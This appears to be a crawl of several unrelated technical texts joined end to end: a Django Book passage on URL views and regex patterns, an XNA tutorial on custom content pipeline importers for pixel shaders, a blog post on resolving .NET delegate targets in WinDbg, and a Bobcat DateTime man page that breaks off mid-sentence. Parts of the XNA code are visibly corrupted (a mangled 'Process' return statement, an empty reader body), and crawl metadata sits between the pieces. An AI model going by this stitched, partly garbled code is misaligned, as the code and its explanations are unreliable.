the offending line number. Under that, just. If this information seems like gibberish to you at the moment, don’t fret — we’ll explain it later in this book. Below, the “Settings” section lists all of the settings for this particular Django installation. Again, we’ll explain settings later in this book. just that — above, work the same way.) Here are a few exercises that will solidify some of the things you learned in this chapter. (Hint: Even if you think you understood everything, at least give these exercises, and their respective answers, a read. We introduce a couple of new tricks here.) Here’s one implementation of the hours_behind view: def hours_behind(request, offset): offset = int(offset) dt = datetime.datetime.now() - datetime.timedelta(hours=offset) html = "<html><body>%s hour(s) ago, it was %s.</body></html>" % (offset, dt) return HttpResponse(html) Not much is different between this view and hours_ahead — only the calculation of dt and the text within the HTML. The URLpattern would look like this: (r'^now/minus(\d{1,2})hours/$', hours_behind), Here’s one implementation of the hour_offset view: def hour_offset(request, plus_or_minus, offset): offset = int(offset) if plus_or_minus == 'plus': dt = datetime.datetime.now() + datetime.timedelta(hours=offset) html = 'In %s hour(s), it will be %s.' % (offset, dt) else: dt = datetime.datetime.now() - datetime.timedelta(hours=offset) html = '%s hour(s) ago, it was %s.' % (offset, dt) html = '<html><body>%s</body></html>' % html return HttpResponse(html) The URLpattern would look like this: (r'^now/(plus|minus)(\d{1,2})hours/$', hour_offset), In this implementation, we capture two values from the URL — the offset, as we did before, but also the string that designates whether the offset should be positive or negative. They’re passed to the view function in the order in which they’re captured. Inside the view code, the variable plus_or_minus will be either the string 'plus' or the string 'minus'. We test that to determine how to calculate the offset — either by adding or subtracting a datetime.timedelta. If you’re particularly anal, you may find it inelegant that the view code is “aware” of the URL, having to test for the string 'plus' or 'minus' rather than some other variable that has been abstracted from the URL. There’s no way around that; Django does not include any sort of “middleman” layer that converts captured URL parameters to abstracted data structures, for simplicity’s sake. To accomplish this, we wouldn’t have to change the hour_offset view at all. We’d just need to edit the URLconf slightly. Here’s one way to do it, by using two URLpatterns: (r'^now/(plus|minus)(1)hour/$', hour_offset), (r'^now/(plus|minus)([2-9]|\d\d)hours/$', hour_offset), More than one URLpattern can point to the same view; Django processes the patterns in order and doesn’t care how many times a certain view is referenced. In this case, the first pattern matches the URLs /now/plus1hour/ and /now/minus1hour/. The (1) is a neat little trick — it passes the value '1' as the captured value, without allowing any sort of wildcard. The second pattern is more complex, as it uses a slightly tricky regular expression. The key part is ([2-9]|\d\d). The pipe character ('|') means “or,” so the pattern in full means “match either the pattern [2-9] or \d\d.” In other words, that matches any one-digit number from 2 through 9, or any two-digit number. Here’s a basic way of accomplishing this. Alter the hour_offset function like so: def hour_offset(request, plus_or_minus, offset): offset = int(offset) if offset == 1: hours = 'hour' else: hours = 'hours' if plus_or_minus == 'plus': dt = datetime.datetime.now() + datetime.timedelta(hours=offset) output = 'In %s %s, it will be %s.' % (offset, hours, dt) else: dt = datetime.datetime.now() - datetime.timedelta(hours=offset) output = '%s %s ago, it was %s.' % (offset, hours, dt) output = '<html><body>%s</body></html>' % output return HttpResponse(output) Ideally, though, we wouldn’t have to edit Python code to make small presentation-related changes like this. Wouldn’t it be nice if we could separate presentation from Python logic? Ah, foreshadowing….
http://djangobook.com/en/beta/chapter03/
crawl-002
refinedweb
2,298
64.41
You will need to write a new content importer to add support. Also, you may need to write a custom processor, writer, and reader for the new art asset type after it has been imported. The code in this topic shows you the technique. You can download a complete code sample for this topic, including full source code and any additional supporting files required by the sample. Download CPExtPixelShader_Sample.zip. XNA Game Studio already provides standard content pipeline importers and processors to support common art-asset file formats, as described in Standard Importers and Processors. Third parties also provide custom importers and processors to support additional formats. Currently, the XNA Game Studio Content Document Object Model (DOM) provides support for meshes, materials, textures, sprite-fonts, and animations. Outside of these, a custom importer can return a ContentItem with custom information in its opaque data, or a custom type you have developed. The following diagram lists the complete Content DOM. However, if you want to support a new type in the content pipeline, writing your own importer and processor can be fairly straightforward. For example, suppose you want to compile HLSL source files into pixel shaders. You want the result to be somewhat like the EffectImporter and EffectProcessor classes built into XNA Game Studio, but you want to process individual pixel shaders rather than complete effects. This topic provides a simple example to show you the steps you take to write an importer and processor, and also the writer and reader you need to save and load the results. The sections below describe each of the steps. The first step in writing an importer and processor is to create a new project for them. You need to do this because your importer and processor are used by the content pipeline when your game is being built. They are not part of the game itself. As a result, you need to provide them as a separate library assembly that the content pipeline can link to when it needs to build the new file format you are supporting. In XNA Game Studio, load a game solution you are developing (the sample uses "CPExtPixelShader"). From Solution Explorer, right-click the Solution node, click Add, and then click New Project. From the Add New Project dialog box, under the Visual C# node, from the Project types: pane, select the XNA Game Studio 3.1 node. Select the Content Pipeline Extension Library (3.1) template, assign a name to the new project at the bottom of the dialog box (name this project PSProcessorLib), and click OK. PSProcessorLib From Solution Explorer, right-click the ContentProcessor1.cs item, and click Delete. The remaining steps create a reference to the PSProcessorLib content extension project. From Solution Explorer, right-click the Content node of the CPExtPixelShader project, and then click Add Reference. CPExtPixelShader From the Projects tab, select your content extension project, and click OK. The new project is now ready for your custom importer and processor implementation. Follow these steps to add a content importer to your processor. Create a class to hold the input data you are importing. In this case, it takes the form of a string of HLSL source code. Add a new C# class named PSSourceCode to the processor project. The first thing to do in the file containing your new class definition is add the following using statement at the beginning of the file: using Microsoft.Xna.Framework.Content.Pipeline; Now define the class as follows: class PSSourceCode { public PSSourceCode(string sourceCode) { this.sourceCode = sourceCode; } private string sourceCode; public string SourceCode { get { return sourceCode; } } } Write an importer class to import the HLSL source code. This class must be derived from ContentImporter and implement the Import method. All it does is read a text file containing HLSL source code into your PSSourceCode class. Using the New Item dialog box, add a new Content Importer item (called PSImporter) to the processor project. Now define the class as follows: [ContentImporter(".psh", DefaultProcessor = "PSProcessor", DisplayName = "Pixel Shader Importer")] class PSImporter : ContentImporter<PSSourceCode> { public override PSSourceCode Import(string filename, ContentImporterContext context) { string sourceCode = System.IO.File.ReadAllText(filename); return new PSSourceCode(sourceCode); } } The ContentImporter attribute applied to the PSImporter class provides some context for the user interface of XNA Game Studio. Since this importer supports files with a .psh extension, XNA Game Studio automatically selects the PSImporter importer when a .psh file is added to the project. In addition, the DefaultProcessor argument specifies which processor XNA Game Studio selects when a .psh file is added. [ContentImporter (".bmp",".dds",".tga")] When the game is built, the ContentImporter.Import function is called once for each XNA content item in the current project. When invoked against an input file in the appropriate format, a custom importer is expected to parse the file and produce as output one or more content objects of appropriate types. Since an importer's output is passed directly to a content pipeline processor, each type that an importer generates must have at least one processor available that can accept it as input. [ContentImporter( ".MyExt", CacheImportedData = true )] class PSImporter : ContentImporter<PSSourceCode> { ... } After the new importer has read in the pixel shader source code from a text file, your content processor takes over and compiles the shader into binary form. Create a class to store the compiled output, which in this case takes the form of an array of bytes. Add a C# class called CompiledPS to the processor project, and define the new class as follows: class CompiledPS { public CompiledPS(byte[] compiledShader) { this.compiledShader = compiledShader; } private byte[] compiledShader; public byte[] CompiledShader { get { return (byte[])compiledShader.Clone(); } } } Now you are ready to write the processor class, which converts a PSSourceCode object into a CompiledPS object. Using the New Item dialog box, add a new Content Processor item (called PSProcessor) to the processor project. Now define the class as follows: [ContentProcessor(DisplayName = "Pixel Shader Processor")] class PSProcessor : ContentProcessor<PSSourceCode, CompiledPS> { public override CompiledPS Process(PSSPS(shader.GetShaderCode()); } } The Framework.Graphics.ShaderCompiler class compiles the shader to binary code that runs on the platform targeted by your game. The context.TargetPlatform argument targets the platform. If an error occurs during compilation, PSProcessor throws an InvalidContentException. The error appears in the Error List window of XNA Game Studio. The final design-time class to implement is a writer that saves the compiled pixel shader produced by your processor as a binary .xnb file. Using the New Item dialog box, add a new Content Type Writer item (called PSWriter) to the processor project. Define the new class as follows: [ContentTypeWriter] class PSWriter : ContentTypeWriter<CompiledPS> { protected override void Write(ContentWriter output, CompiledPS value) { output.Write(value.CompiledShader.Length); output.Write(value.CompiledShader); } public override string GetRuntimeType(TargetPlatform targetPlatform) { return typeof(PixelShader).AssemblyQualifiedName; } public override string GetRuntimeReader(TargetPlatform targetPlatform) { return "CPExtPixelShader.PSReader, CPExtPixelShader," + " Version=1.0.0.0, Culture=neutral"; } } The GetRuntimeType method identifies the type of object your game should load from the .xnb file written by the writer object. In this instance, the .xnb file contains the binary array from your custom CompiledPS PSProcessorLib library is complete. Now move from the PSProcessorLib library project back to your game project and write the class that your game uses to load the .xnb files that your processor creates. This is the class that your writer specified previously as its reader. In your game project, add a C# class called PSReader to your game project. Add the using statements you will need at the top of the file: using Microsoft.Xna.Framework.Content; using Microsoft.Xna.Framework.Graphics; Deriving from the ContentTypeReader generic class for the PixelShader type, override the Read method, and define your class as follows: class PSReader : ContentTypeReader<PixelShader> { /// <summary> /// Loads an imported shader. /// </summary>); } } At this point, build the processor project. Once it has completed, you are ready to use the new importer and processor to build pixel shaders into your game. Try adding a test HLSL source file with a .psh extension to your game project and see how it works. Copy into a folder in your game project a simple HLSL source file that you know is free of bugs, and rename the file "Ripple.psh." Right-click on your game project in Solution Explorer, click Add, click Existing Item, and then click Ripple.psh. Once you add the file, right-click it in Solution Explorer, and click Properties. You should now see entries in its Properties dialog box assigning PSImporter as its content importer and PSProcessor as its content processor. Next time you build your game, Ripple.psh will be built into TestShader.xnb in a form appropriate for your target platform. To use the resulting pixel shader in your game, load it using ContentManager.Load as follows: PixelShader shader = content.Load<PixelShader>( "TestShader" ); The following information should help you when you develop content pipeline extensions. The following information should help you import basic graphics objects. Make your coordinate system right-handed. From the standpoint of the observer, the positive x-axis points to the right, the positive y-axis points up, and the positive z-axis points toward you (out from the screen). Create triangles that have a clockwise winding order. The default culling mode removes triangles that have a counterclockwise winding order. Call SwapWindingOrder to change the winding order of a triangle. Set the scale for graphical objects to 1 unit = 1 meter. Call TransformScene to change the scale of an object. There are several properties and classes that are particularly useful when using NodeContent objects to represent a 3D scene or mesh. The NodeContent.Children property represents hierarchical information. The NodeContent.Transform property contains the local transform of the 3d object. The Pipeline.Graphics.MeshContent class (a subclass of Pipeline.Graphics.NodeContent) is used to represent meshes. The content pipeline provides two classes that make it easier to create and work with Pipeline.Graphics.MeshContent objects. The Pipeline.Graphics.MeshBuilder class creates new Pipeline.Graphics.MeshContent objects, when necessary. The Pipeline.Graphics.MeshHelper class implements useful operations on existing Pipeline.Graphics.MeshContent objects. In a way that is similar to projects that create a DLL, content pipeline extension projects cannot be directly run or debugged. However, after completing a few simple steps, you can debug any custom importers and processors used by your game. The following procedure details these steps. Load an existing XNA Game Studio content pipeline extension project (later referred to as ProjCP) containing the custom importers and/or processors to be debugged. Create a separate test game project (later referred to as "ProjG"). In the References node of ProjG's nested content project, add a project-to-project reference to ProjCP. Add one or two appropriate items of test content to ProjG, and ensure they are set to use the importer or processor (in ProjCP) you wish to debug. Open the property pages for ProjCP. Click the Debug tab, and select Start external program:. Enter the path to the local version of MSBuild.exe. For example, C:\WINDOWS\Microsoft.NET\Framework\v3.5\msbuild.exe. For the Command line arguments control, enter the path to ProjG's nested content project. If this path contains spaces, quote the entire path. Set any required breakpoints in the importer or processor code in ProjCP. Build and debug ProjCP. Debugging ProjCP causes MSBuild to compile your test content while running under the debugger. This enables you to hit your breakpoints in ProjCP and step through your code.
http://msdn.microsoft.com/en-us/library/bb447754.aspx
crawl-002
refinedweb
1,909
57.37
Delegates in .NET are a very handy addition to the language. With the introduction of LINQ they did become mainstream and everyone is using them or is at least finding them cool. But what the CLR is really doing to them under the covers remains largely unexplored. This is ok as long as you never get any memory dumps from the field with angry customers waiting for a solution. Delegates are heavily used to e.g. send window messages from an arbitrary thread to the main UI thread. Or you have an thread scheduler (TPL anyone?) which does execute delegates from a queue on one or more threads. These things do all work with a custom data structure where besides scheduling information the delegate to be called is stored. When you want to examine a data structure which does contain delegate fields and you need to know to which method this delegate does point to things become less obvious if you do not have the VS debugger on a live process attached. If you dump the contents of a Func<string,bool> delegate you will see in Windbg something like this: 0:000> !DumpObj /d 0272b8d8 Name: System.Func`2[[System.String, mscorlib],[System.Boolean, mscorlib]] MethodTable: 6e4edbac EEClass: 6e211748 6e52f744 4000076 4 System.Object 0 instance 0272b8d8 _target -> Target object to call to 6e52f744 4000077 8 System.Object 0 instance 00000000 _methodBase –> is null except if VS is attached 6e52ab88 4000078 c System.IntPtr 1 instance 5b0a18 _methodPtr -> Trampoline code to dispatch the method 6e52ab88 4000079 10 System.IntPtr 1 instance 40c068 _methodPtrAux –> If not null and invocationCount == 0 it does contain the MethodPtr of a static method. 6e52f744 400007a 14 System.Object 0 instance 00000000 _invocationList –> When it is an event there the list of delegates to call are stored 6e52ab88 400007b 18 System.IntPtr 1 instance 0 _invocationCount –> Number of delegates stored in invocationList We do know the type of the object where one of its methods is called by inspecting the _target field which gives us the instance on which non static methods are called. If the method is static _target does contain only the delegate instance (Func<string,bool>) which is of no help. When a delegate to a static method is declared the value which is normally stored in _methodPtr is stored in _methodPtrAux. This _methodPtrxxxx stuff does not point to data structures but trampolin code that does retrieve the target MethodDescriptor (not via reflection of course). I have found this stuff by creating a little sample app which defines some delegate instances and then goes to sleep to allow me to break into with Windbg quite easy. using System; using System.Linq; using System.Threading; using System.Runtime.InteropServices; namespace ConsoleApplication10 { class Program { static void Main(string[] args) { new Program().Start(); } private void Start() { Func<string, bool> func = Filter; Func<string, bool> staticFunc = FilterStatic; Thread.Sleep(5000); func(""); } static bool FilterStatic(string str) { return true; } bool Filter(string str) { throw new Exception(); } The algorithm how the CLR does retrieve the MethodDescriptor when a delegate has been called is the same since .NET 2.0 up to .NET 4.5. There are even no differences between x86 and x64 (except for the pointer size of a MethodDescriptor). The algorithm can best be seen in x64 assembly code how it does retrieve the method descriptor. The _MethodPtr+5 is the base value in eax. clr!PrecodeFixupThunk+0x1: 000007fe`edf113f1 4c0fb65002 movzx r10,byte ptr [rax+2] // load byte from eax+2 000007fe`edf113f6 4c0fb65801 movzx r11,byte ptr [rax+1] // load byte from eax+1 000007fe`edf113fb 4a8b44d003 mov rax,qword ptr [rax+r10*8+3] // retrieve base MethodDescriptor 000007fe`edf11400 4e8d14d8 lea r10,[rax+r11*8] // Add method slot offset to get the right one From this disassembly we can now create a Windbg script to dump for any MethodPtr the actual method. 0:000> !DumpObj /d 01ca2328 Name: System.Func`2[[System.String, mscorlib],[System.Boolean, mscorlib]] MethodTable: 5cf43c6c EEClass: 5cb73718 5cef8194 400002d 4 System.Object 0 instance 01ca231c _target 5cef8194 400002e 8 System.Object 0 instance 00000000 _methodBase 5cefb8fc 400002f c System.IntPtr 1 instance 26c048 _methodPtr 5cefb8fc 4000030 10 System.IntPtr 1 instance 0 _methodPtrAux 5cef8194 4000031 14 System.Object 0 instance 00000000 _invocationList 5cefb8fc 4000032 18 System.IntPtr 1 instance 0 _invocationCount 0:000> $$>a< "c:\source\DelegateTest\Resolve.txt" 26c048 Method Name: ConsoleApplication10.Program.Filter(System.String) Class: 002612fc MethodTable: 00263784 mdToken: 06000005 Module: 00262e7c IsJitted: yes CodeAddr: 002c05f0 Transparency: Critical The code for the Resolve.txt Windbg script is r $t0 = ${$arg1}+5 r $t1 = $t0 + 8*by($t0+2) + 3 r $t2 = 8*by($t0+1) r $t3 = poi($t1) + $t2 !DumpMD $t3 This does allow you to retrieve the called method from any delegate instance from .NET 2.0-4.5 regardless of its bitness. The offsets used in the script seem to point to IL structures which have the same layout across all platforms. For x86 code there is a even shorter shortcut. It seems that the two offsets are 0 normally which boils the whole calculation down to !DumpMD poi(_methodPtr+8) to get the desired information. For x64 though you need the script to get the right infos back. I have tried to load a dump of the short demo application into VS11 to see if VS can resolve the target methods already (would be a fine thing) but nope you will not get much infos out of the dump if you stick to VS. Windbg still remains the (only) one tool of choice to do post mortem debugging with memory dumps. You can either tell your customers that you did not find the bug and you need to install VS on their machines or you take a deep breath and remove they layers of abstractions (C#, IL, Assembler, … Quantum Physics) one by one until you can solve your problem. If you try this out and come back to me that this script does not work it could be that you did try to dump the _methodPtr from a multicast delegate which has an invocation count > 0. The _methodPtr does then contain the code to loop through the array and calls them one by one. All you need to do is to use the script on one of the delegates contained in the _invocationList array. To make Windbg more user friendly you should type as first command always .prefer_dml 1 to enable “hyperlink” support for many commands in WinDbg. With .NET 4.0 the sos.dll does also support this hyperlink syntax which makes it much easier to dump the contents of objects. Whenever you click on one of the blue underlined links with the mouse a useful command like dump object contents is executed. When you have this enabled it becomes also easier to load the right sos.dll. Many of you know the trick to use the .loadby command to load the sos dll from the same location as the clr.dll (.NET 4.0) or mscorwks (pre .NET 4.0). For some reasons this loadby trick does not work in all cases. Another nearly as fast solution is to use the lm command to display the loaded modules. When you then click on the module where you want to know the path you can then copy it into your command line and append sos.dll to your load command and you are done. For the ones of you who can remember all shortcuts you can also use 0:000> lm i m clr Browse full module list start end module name 5dba0000 5e21f000 clr (export symbols) C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll to show the full path of all modules which match clr as pattern. Skin design by Mark Wagner, Adapted by David Vidmar
http://geekswithblogs.net/akraus1/archive/2012/05/20/149699.aspx
CC-MAIN-2015-48
refinedweb
1,308
63.7
Provided by: libbobcat-dev_5.02.00-1build1_amd64 NAME FBB::DateTime - Performs Date and Time Computations SYNOPSIS #include <bobcat/datetime> Linking option: -lbobcat DESCRIPTION FBB::DateTime objects contain and represent date and time values. Individual date and time fields can be requested or modified, returning `sanitized’ times (e.g., a date like March 33 or a time like 56 hours are never returned; instead the next month or day is returned). Times may be specified in local time (according to the computer’s idea of what the local time is), in Universal Time Coordinated (UTC) time values, as a time in a named timezone, or as a time in a user-defined timezone. Refer to the section TIMEZONES below for a detailed description of how timezones can be specified. Dates/times represented by DateTime objects may be modified by adding, subtracting, or setting (std::chrono) seconds, minutes, or hours, or by specifying (a selection of) fields of tm structs. Date/time modificationsthese are always performed relative to the DateTime object’s current timezone (which may be UTC, local or another timezone). Conversions between timezones (including the UTC `timezone’) are also supported. DateTime objects can be constructed in many ways. Dates and times may be specified as UTC time, as local time, as (std::chrono::minutes) shifts with respect to UTC time, or as a date and time in other (user defined) time zones. Negative time offsets refer to timezones West of Greenwich, and positive offsets refer to timezones East of Greenwich: these offsets represent the zones’ local time differences with UTC time. Timezone offsets are always computed modulo 12 hours, as timezones may at most differ 12 hours from UTC. DateTime objects always contain date and time points in seconds since the beginning of the `epoch’ (midnight Jan 1, 1970 UTC). The C function time(2) returns this value for the current date and time (assuming that the computer’s clock has properly been synchronized). Daylight Saving Time (DST), when defined for DateTime objects’ zones is automatically applied when DST is active. E.g., when a DateTime object’s time represents 12:00 hr., and it zone’s DST (using a standard +1 hour shift) becomes active tomorrow, then the object’s time shows 13:00 hr. when 1 day is added to its current date/time. Handling time is complex. The C function time(2) returns the time in seconds since the beginning of the epoch. Beyond that, simplicity ends, and the reader is referred to Eric S. Raymond’s (2007) coverage of the complexities of handling time: see (this document is also included in bobcat’s repository). TIMEZONES DateTime’s nested class Zone is used to specify time zones. Time zones have various configurable components: o The time shift itself. E.g., Central European Time (CET) uses a shift of one hour: when UTC time is noon, then it’s 13:00 h. CET. The time shift doesn’t have to be multiples of full hours. E.g., India uses a time shift of +5:30 h relative to UTC. o Maybe a Daylight Saving Time. Most timezones use a +1 hour DST shift: when in the previous example DST is active then CET’s local time is 14:00 h. Some countries do not use DST shifts. E.g., Afghanistan doesn’t use a DST shift. o A date-interval in which the DST is used may be standard. E.g., it starts at 02:00 h. (local time, becoming 03:00 DST), the last Sunday in March, and ends at 02:00 h. (local time, resetting DST 03:00 to 02:00) the last Sunday in October. o Other calendar intervals may apply. E.g., in 2019 New Zealand’s DST starts September 29, and ends April 7th. o In practice, DST shifts are equal to 1 hour, although there’s no formal requirement for that. DataTime::Zone’s class offers a variety of means for specifying time zones with or without support for DST. Time shifts can be positive or negative and are specified in hours and optionally minutes. E.g., -8 or -8:00 for a timezone 8 hours earlier than UTC (noon at UTC becomes 04:00 in this timezone) or +5:30 for a time zone later than UTC (noon at UTC becomes 17:30 in that timezone). Timezones can be given names (which may or may not be the names of the `standard’ time zones like CET or PST) but can also be constructed by providing o a mere shift relative to UTC, no DST. o a shift relative to UTC, using a standard DST (1 hour) time shift. In this case the computer’s idea of the calendar interval in which DST is active is used; o a shift relative to UTC, using a specified DST time shift as well as a specified calendar interval, optionally specifying the time when the DST calendar interval starts and/or ends. NAMESPACE FBB All constructors, members, operators and manipulators, mentioned in this man-page, are defined in the namespace FBB. INHERITS FROM - ENUMS The class DateTime defines the following enums: DateTime::Month This enumeration has the following values which are ordered using the default C++ enum values: o JANUARY, o FEBRUARY, o MARCH, o APRIL, o MAY, o JUNE, o JULY, o AUGUST, o SEPTEMBER, o OCTOBER, o NOVEMBER, o DECEMBER. Standard 3-letter abbreviations can also be used (e.g., DateTime::Jul): o Jan, o Feb, o Mar, o Apr, o May , o Jun, o Jul, o Aug, o Sep, o Oct, o Nov, o Dec. DateTime::Relative This enumeration is used with the setMonth() member (see below). It has the following values: o THIS_WEEK, o THIS_YEAR, o LAST, o NEXT DateTime::TimeFields This enumeration has the following values which can be bit_or-ed when calling the member setFields(): o SECONDS o MINUTES o HOURS o MONTHDAY o MONTH o YEAR DateTime::TimeType This enumeration has the following values: o LOCALTIME: the DateTime object’s date and time use a shift relative to UTC according to the object’s configured time zone. o UTC: the object’s date and time represent the Universal Time Coordinated. DateTime::Weekday This enumeration has the following values which are ordered using the default C++ enum values: o SUNDAY, o MONDAY, o TUESDAY, o WEDNESDAY, o THURSDAY, o FRIDAY, o SATURDAY. Standard 3-letter abbreviations can also be used (e.g., DateTime::Wed): o Sun, o Mon, o Tue, o Wed, o Thu, o Fri, o Sat. TEXTUAL TIME REPRESENTATIONS DateTime objects may also be defined using textual time-representations. In addition, the date/time represented by DateTime objects may be altered using textual time representations extracted from istreams. The following time formats (shown by example) are recognized: o Mon Dec 3 13:29:11 2018, as displayed by put_time(..., "%c"); o Mon Dec 3 13:29:11 CET 2018, as displayed by the date(1) program. When this format is used the specified zone name must have been defined. CET is defined by default, other time zones can easily be defined using, e.g., the member DateTime::Zone::read (see section ZONE MEMBERS). o Mon, 03 Dec 2018 13:29:11 +0100, as displayed by the date -R command (and the rfc2822() member, see below); o 2018-12-03 13:29:11+01:00, as displayed by the date --rfc-3339=seconds command. ZONE CONSTRUCTORS The class DateTime::Zone defines how time zones can be defined and used. Time zone objects are expected by several DateTime constructors and by the DateTime::setZone member. The class DateTime::Zone supports the following constructors: o Zone(std::string const &name): The argument name refers to a predefined zone name. By default the zone CET is available. Other zone names can be defined using the members DateTime::Zone::read and DateTime::Zone::store; o Zone(std::string const &specification): The argument specification refers to a zone specification that’s available under the directory referred to by /etc/localtime (e.g., /usr/share/zoneinfo). The specification must start with a colon, followed by the name of an entry that is found below /usr/share/zoneinfo. E.g, to specify the Europe/Amsterdam zone use DateTime::Zone{ ":Europe/Amsterdam" }. If the specified zone uses DST then a +1 hour DST shift is used; o Zone(std::string const &shift): The argument shift defines the zone’s shift in hours and minutes relative to UTC. Shift’s format is [+-]hh[:mm], where negative time shifts refer to time zones West of Greenwich and positive time shifts to time zones East of Greenwich. No DST is used; o Zone(std::string const &shift, string const &dstSpec): The argument shift defines the zone’s shift in hours and minutes relative to UTC. Shift’s format is [+-]hh[:mm], where negative time shifts refer to time zones West of Greenwich and positive time shifts to time zones East of Greenwich. The dstSpec argument defines the time shift to use when DST is active. It uses the same format as shift, or = may be specified, in which case the (standard) DST shift of +1:00 hour is used; o Zone(std::string const &shift, std::string const &dstSpec, std::string const &beginDST, std::string const &endDST): Like the previous constructor, but in addition beginDST and endDST are used to define the date/time interval in which the DST is active. These arguments use the following format: Mon, weekSpec Day [hh[:mm]] For Mon a standard 3-letter month specification is used, like "Jan" for January, for Day a standard 3-letter day specification is used, like "Sun" for Sunday (cf. the standard 3-letter abbreviations listed in the section ENUMS). The weekSpec defines the number of the week of the month containing Day. Use 1st, 2nd, 3rd, 4th, 5th or last. Here, 1st refers to the first week having day Day, while last and 5th refer to the last week (so not necessarily the 5th week) having day Day. The time specification defines the time when the DST starts or ends. Some examples: Mar, last Sunday 02:00 Oct, 1st Monday 03:00 Copy and move constructors as well as assignment operators are available. ZONE MEMBERS o std::string const &spec() const: The constructors’ zone specifications are converted to a form recognized by the function tzset(3). This member returns the converted string; o int dstSeconds() const: If DST is active for a local date/time point then the DST shift in seconds is returned by this member. Use the member DateTime::dst() to determine whether or not DST is active. o int zoneSeconds() const: The zone’s time shift relative to UTC in seconds. Negative values represent zone shifts West of Greenwich, positive values represent zone shifts East of Greenwich. ZONE STATIC MEMBERS o DateTime::Zone const &DateTime::Zone::get(std::string const &name): The time zone object named name is returned. E.g., to retrieve the time zone object for CET use DateTime::Zone::get("CET"). If the named zone has not been defined an std::exception is thrown; o DateTime::Zone const &DateTime::Zone::store(std::string const &name, ...): A time zone object is defined and stored as zone name. Zone names must consists of (at least three) letters. The ellipsis should be replaced by the arguments of the Zone constructors (except for the arguments of the first, copy, and move constructors). A reference to the newly defined Zone object is returned; o std::string const &DateTime::Zone::defaultTZ(): The TZ specification that is active when the program using DateTime objects starts. It returns the return value of getenv("TZ") or an empty string if the TZ environment variable was not defined; o void DateTime::Zone::read(std::string const &fname): Time zone specifications as expected by the above store member are read from the file named fname (one specification per line, using blanks between the elements, and inserting until between the dstBegin and dstEnd specifications (if provided)). For cosmetic reasons a colon may be appended to zone names. Examples: ccu: +5:50 nyc: -5:00 +1:00 cal: -8:00 = eet: +2:00 +1:00 Mar, last Sun 02:00 until Oct, last Sun 02:00 same: +2:00 = Mar, last Sun 02:00 until Oct, last Sun 02:00 If the first character on a line is a hash-tag (#) or if a line only contains blanks it is ignored; o time_t DateTime::Zone::thisZoneShift(): Returns this computer’s zone shift in seconds. DATETIME CONSTRUCTORS o DateTime(TimeType type = UTC): The object’s date/time is initialized to the current date and time. By default UTC time (no zone-shift or dst correction) is used. When specifying LOCALTIME, the computer’s timezone and DST correction are used; o DateTime(std::chrono::minutes zoneMinutes): The object’s local time is initialized to the current UTC time to which a zone shift of zoneMinutes minutes is added. DST is not used. Note that by specifying a zone shift in, e.g., std::chrono::hours a conversion to minutes is automatically applied; o DateTime(Datetime::Zone const &zone): The object’s local time is initialized to the the current UTC time to which a zone shift defined by the Zone argument is added; o DateTime(time_t time, TimeType type = UTC): The object uses time to set its UTC time in seconds since the epoch. When LOCALTIME is specified its local time is obtained by applying the computer’s timezone and DST correction; o DateTime(time_t time, std::chrono::minutes zoneMinutes): The object’s uses time to set its UTC time in seconds since the epoch. Its local time is then obtained by adding a zone shift of zoneMinutes minutes. DST is not used.; o DateTime(time_t time, Datetime::Zone const &zone): The object’s uses time to set its UTC time in seconds since the epoch. Its local time is then obtained by adding a zone shift as defined by the Zone argument. o DateTime(tm const &ts, TimeType type = UTC): The tm argument is a struct defined as: struct tm { int tm_sec; // seconds 0..59, or 60: leap second int tm_min; // minutes 0..59 int tm_hour; // hours 0..23 int tm_mday; // day of the month 1..31 int tm_mon; // month 0..11 int tm_year; // year see below!! int tm_wday; // day of the week 0..6 int tm_yday; // day in the year 0..365 int tm_isdst; // daylight saving time // > 0: yes, 0: no, < 0: unknown }; Values outside of these ranges may be specified to compute points in time in the future or in the past. E.g., tm_hour == 30 is normalized to tm_hour == 6 of the next day. Note that functions like mktime(3) expect tm_year to be specified relative to 1900. The DateTime constructor does not expect this: the tm_year field should be the specified as the (calendar) year, e.g., 2019. Using tm’s fields the object’s date/time is initialized to either UTC or LOCALTIME. The DST, day of the year, and day of the week fields of the tm argument are ignored; o DateTime(tm const &ts, Datetime::Zone const &zone): The fields of ts (see the previous constructor) define a LOCALTIME time point in the specified Zone. o DateTime(std::string const &timeStr, TimeType type = UTC): The object’s date/time is initialized to either UTC or LOCALTIME using DateTime’s supported textual time representations. The time representation without explicit timezone shift (e.g., Mon Dec 3 13:29:11 2018 is interpreted as UTC time when type == UTC is specified, otherwise as local time (type == LOCALTIME), using the computer’s time zone and DST correction). The other textual time representations provide zone specifications which are used to obtain the requested time representation (e.g., when UTC is requested, and the textual time specification contains 13:29:11 +0100 then the object’s (UTC) time is set to 12:29:11). DST specifications are ignored, except when named time zones are used, as in on Dec 3 13:29:11 CET 2018; o DateTime(std::istream &in, TimeType type = UTC): The object’s date/time is initialized to either UTC or LOCALTIME extracting a supported textual time representation from in as destribed at the DateTime(std::string const &timeStr, ...) constructor. The std::istream &in stream may also be a rvalue reference. Copy and move constructors are available. OVERLOADED OPERATORS All class-less overloaded operators are defined in the FBB namespace. All overloaded operators modifying DateTime objects support `commit or roll-back’: if the operation cannot be performed an exception is thrown, without modifying the destination object. o std::ostream &std::operator<<(std::ostream &str, DateTime const &dt): Inserts dt’s date/time into str using the zone-less supported textual time representation (e.g., Mon Dec 3 13:29:11 2018); o std::istream &std::operator>>(std::istream &str, DateTime &dt): Extracts a supported textual time representation from str and assigns the implied date/time point to dt; o bool operator==(DateTime const &left, DateTime const &right): Returns true if left represents the same UTC time as right; o bool operator!=(DateTime const &left, DateTime const &right): Returns true if left represents a different UTC time as right; o bool operator<(DateTime const &left, DateTime const &right): Returns true if left represents an earlier UTC time as right; o bool operator<=(DateTime const &left, DateTime const &right): Returns true if left represents an earlier or equal UTC time as right; o bool operator>(DateTime const &left, DateTime const &right): Returns true if left represents a later UTC time as right; o bool operator>=(DateTime const &left, DateTime const &right): Returns true if left represents a later or equal UTC time as right. o DateTime operator+(DateTime const &obj, std::chrono::seconds seconds): Returns a copy of obj to which seconds were added; o DateTime operator+(DateTime const &obj, tm const &ts): Returns a copy of obj to which the tm_sec, tm_min, tm_hour, tm_mday, tm_mon and tm_year fields of ts were added; Caveat: note that this is an addition operation: if you want to add 1 year specify ts.tm_year = 1, and not the finally expected calendar year! o DateTime &operator+=(std::chrono::seconds seconds): Adds seconds to the time represented by the current object; o DateTime &operator+=(tm const &ts): Adds the tm_sec, tm_min, tm_hour, tm_mday, tm_mon and tm_year fields of ts to the time represented by the current object. Caveat: note that this is an addition operation: if you want to add 1 year specify ts.tm_year = 